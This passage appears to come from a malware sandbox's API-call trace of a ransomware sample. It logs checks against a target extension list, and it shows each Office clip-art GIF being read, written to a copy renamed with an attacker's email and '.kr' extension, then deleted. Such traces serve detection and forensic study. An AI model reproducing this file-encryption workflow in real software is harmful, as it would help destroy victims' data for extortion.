(lpString1=".jpg", lpString2=".GIF") returned 1 [0104.430] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0104.430] lstrlenW (lpString="AG00129_.GIF") returned 12 [0104.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0104.431] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=12482) returned 1 [0104.431] CloseHandle (hObject=0x36c) returned 1 [0104.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif")) returned 0x220 [0104.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0104.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0104.431] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0104.431] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0104.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0104.431] GetLastError () returned 0x0 [0104.431] ReadFile (in: hFile=0x36c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x30c2, lpOverlapped=0x0) returned 1 [0104.433] WriteFile (in: hFile=0x35c, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x30d0, lpOverlapped=0x0) returned 1 [0104.434] ReadFile (in: hFile=0x36c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0104.434] WriteFile (in: hFile=0x35c, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xec, lpOverlapped=0x0) returned 1 [0104.434] SetEndOfFile (hFile=0x35c) returned 1 [0104.434] CloseHandle (hObject=0x35c) returned 1 [0104.435] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0104.435] SetEndOfFile (hFile=0x36c) returned 1 [0104.436] CloseHandle (hObject=0x36c) returned 1 [0104.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0104.436] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif")) returned 1 [0104.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0104.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0104.437] lstrlenW (lpString=".doc") returned 4 [0104.437] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.437] lstrlenW (lpString=".docx") returned 5 [0104.437] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.437] lstrlenW (lpString=".pdf") returned 4 [0104.437] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.437] lstrlenW (lpString=".xls") returned 4 [0104.437] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.437] lstrlenW (lpString=".xlsx") returned 5 [0104.437] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.437] lstrlenW (lpString=".ppt") returned 4 [0104.437] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0104.437] lstrlenW (lpString=".zip") returned 4 [0104.437] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.437] lstrlenW (lpString=".rar") returned 4 [0104.437] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.437] lstrlenW (lpString=".bz2") returned 4 [0104.437] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.437] lstrlenW (lpString=".7z") returned 3 [0104.437] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0104.437] lstrlenW (lpString=".dbf") returned 4 [0104.437] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0104.438] lstrlenW (lpString=".1cd") returned 4 [0104.438] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0104.438] lstrlenW (lpString=".jpg") returned 4 [0104.438] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0104.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0104.438] lstrlenW (lpString=".doc") returned 4 [0104.438] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.438] lstrlenW (lpString=".docx") returned 5 [0104.438] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.438] lstrlenW (lpString=".pdf") returned 4 [0104.438] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.438] lstrlenW (lpString=".xls") returned 4 [0104.438] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.438] lstrlenW (lpString=".xlsx") returned 5 [0104.438] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.438] lstrlenW (lpString=".ppt") returned 4 [0104.438] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0104.438] lstrlenW (lpString=".zip") returned 4 [0104.438] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.438] lstrlenW (lpString=".rar") returned 4 [0104.438] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.438] lstrlenW (lpString=".bz2") returned 4 [0104.438] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.438] lstrlenW (lpString=".7z") returned 3 [0104.438] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0104.438] lstrlenW (lpString=".dbf") returned 4 [0104.439] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0104.439] lstrlenW (lpString=".1cd") returned 4 [0104.439] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0104.439] lstrlenW (lpString=".jpg") returned 4 [0104.439] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.439] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0104.439] lstrlenW (lpString="AG00130_.GIF") returned 12 [0104.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0104.440] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=5253) returned 1 [0104.440] CloseHandle (hObject=0x36c) returned 1 [0104.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif")) returned 0x220 [0104.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0104.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0104.440] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0104.440] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0104.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0104.440] GetLastError () returned 0x0 [0104.440] ReadFile (in: hFile=0x36c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x1485, lpOverlapped=0x0) returned 1 [0104.738] WriteFile (in: hFile=0x35c, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x1490, lpOverlapped=0x0) returned 1 [0104.739] ReadFile (in: hFile=0x36c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0104.739] WriteFile (in: hFile=0x35c, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xec, lpOverlapped=0x0) returned 1 [0104.739] SetEndOfFile (hFile=0x35c) returned 1 [0104.739] CloseHandle (hObject=0x35c) returned 1 [0104.740] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0104.741] SetEndOfFile (hFile=0x36c) returned 1 [0104.742] CloseHandle (hObject=0x36c) returned 1 [0104.742] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0104.742] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif")) returned 1 [0104.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0104.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0104.742] lstrlenW (lpString=".doc") returned 4 [0104.742] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.742] lstrlenW (lpString=".docx") returned 5 [0104.742] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.742] lstrlenW (lpString=".pdf") returned 4 [0104.742] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.742] lstrlenW (lpString=".xls") returned 4 [0104.743] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.743] lstrlenW (lpString=".xlsx") returned 5 [0104.743] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.743] lstrlenW (lpString=".ppt") returned 4 [0104.743] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0104.743] lstrlenW (lpString=".zip") returned 4 [0104.743] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.743] lstrlenW (lpString=".rar") returned 4 [0104.743] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.743] lstrlenW (lpString=".bz2") returned 4 [0104.743] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.743] lstrlenW (lpString=".7z") returned 3 [0104.743] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0104.743] lstrlenW (lpString=".dbf") returned 4 [0104.743] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0104.743] lstrlenW (lpString=".1cd") returned 4 [0104.743] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0104.743] lstrlenW (lpString=".jpg") returned 4 [0104.743] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0104.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0104.743] lstrlenW (lpString=".doc") returned 4 [0104.743] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.743] lstrlenW (lpString=".docx") returned 5 [0104.743] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.743] lstrlenW (lpString=".pdf") returned 4 [0104.744] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.744] lstrlenW (lpString=".xls") returned 4 [0104.744] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.744] lstrlenW (lpString=".xlsx") returned 5 [0104.744] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.744] lstrlenW (lpString=".ppt") returned 4 [0104.744] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0104.744] lstrlenW (lpString=".zip") returned 4 [0104.744] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.744] lstrlenW (lpString=".rar") returned 4 [0104.744] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.744] lstrlenW (lpString=".bz2") returned 4 [0104.744] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.744] lstrlenW (lpString=".7z") returned 3 [0104.744] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0104.744] lstrlenW (lpString=".dbf") returned 4 [0104.744] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0104.744] lstrlenW (lpString=".1cd") returned 4 [0104.744] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0104.744] lstrlenW (lpString=".jpg") returned 4 [0104.744] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.744] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0104.744] lstrlenW (lpString="AG00164_.GIF") returned 12 [0104.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0104.745] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=13254) returned 1 [0104.745] CloseHandle (hObject=0x36c) returned 1 [0104.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif")) returned 0x220 [0104.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0104.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0104.745] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0104.745] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0104.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0104.746] GetLastError () returned 0x0 [0104.746] ReadFile (in: hFile=0x36c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x33c6, lpOverlapped=0x0) returned 1 [0104.747] WriteFile (in: hFile=0x35c, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x33d0, lpOverlapped=0x0) returned 1 [0104.748] ReadFile (in: hFile=0x36c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0104.748] WriteFile (in: hFile=0x35c, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xec, lpOverlapped=0x0) returned 1 [0104.749] SetEndOfFile (hFile=0x35c) returned 1 [0104.749] CloseHandle (hObject=0x35c) returned 1 [0104.750] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0104.750] SetEndOfFile (hFile=0x36c) returned 1 [0104.751] CloseHandle (hObject=0x36c) returned 1 [0104.751] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0104.752] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif")) returned 1 [0104.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0104.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0104.752] lstrlenW (lpString=".doc") returned 4 [0104.752] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.752] lstrlenW (lpString=".docx") returned 5 [0104.752] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.752] lstrlenW (lpString=".pdf") returned 4 [0104.752] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.752] lstrlenW (lpString=".xls") returned 4 [0104.752] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.752] lstrlenW (lpString=".xlsx") returned 5 [0104.752] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.752] lstrlenW (lpString=".ppt") returned 4 [0104.752] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0104.752] lstrlenW (lpString=".zip") returned 4 [0104.752] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.752] lstrlenW (lpString=".rar") returned 4 [0104.752] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.753] lstrlenW (lpString=".bz2") returned 4 [0104.753] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.753] lstrlenW (lpString=".7z") returned 3 [0104.753] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0104.753] lstrlenW (lpString=".dbf") returned 4 [0104.753] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0104.753] lstrlenW (lpString=".1cd") returned 4 [0104.753] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0104.753] lstrlenW (lpString=".jpg") returned 4 [0104.753] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0104.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0104.753] lstrlenW (lpString=".doc") returned 4 [0104.753] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.753] lstrlenW (lpString=".docx") returned 5 [0104.753] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.753] lstrlenW (lpString=".pdf") returned 4 [0104.753] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.753] lstrlenW (lpString=".xls") returned 4 [0104.753] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.753] lstrlenW (lpString=".xlsx") returned 5 [0104.753] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.753] lstrlenW (lpString=".ppt") returned 4 [0104.754] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0104.754] lstrlenW (lpString=".zip") returned 4 [0104.754] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.754] lstrlenW (lpString=".rar") returned 4 [0104.754] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.754] lstrlenW (lpString=".bz2") returned 4 [0104.754] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.754] lstrlenW (lpString=".7z") returned 3 [0104.754] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0104.754] lstrlenW (lpString=".dbf") returned 4 [0104.754] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0104.754] lstrlenW (lpString=".1cd") returned 4 [0104.754] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0104.754] lstrlenW (lpString=".jpg") returned 4 [0104.754] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.754] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0104.754] lstrlenW (lpString="AG00165_.GIF") returned 12 [0104.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 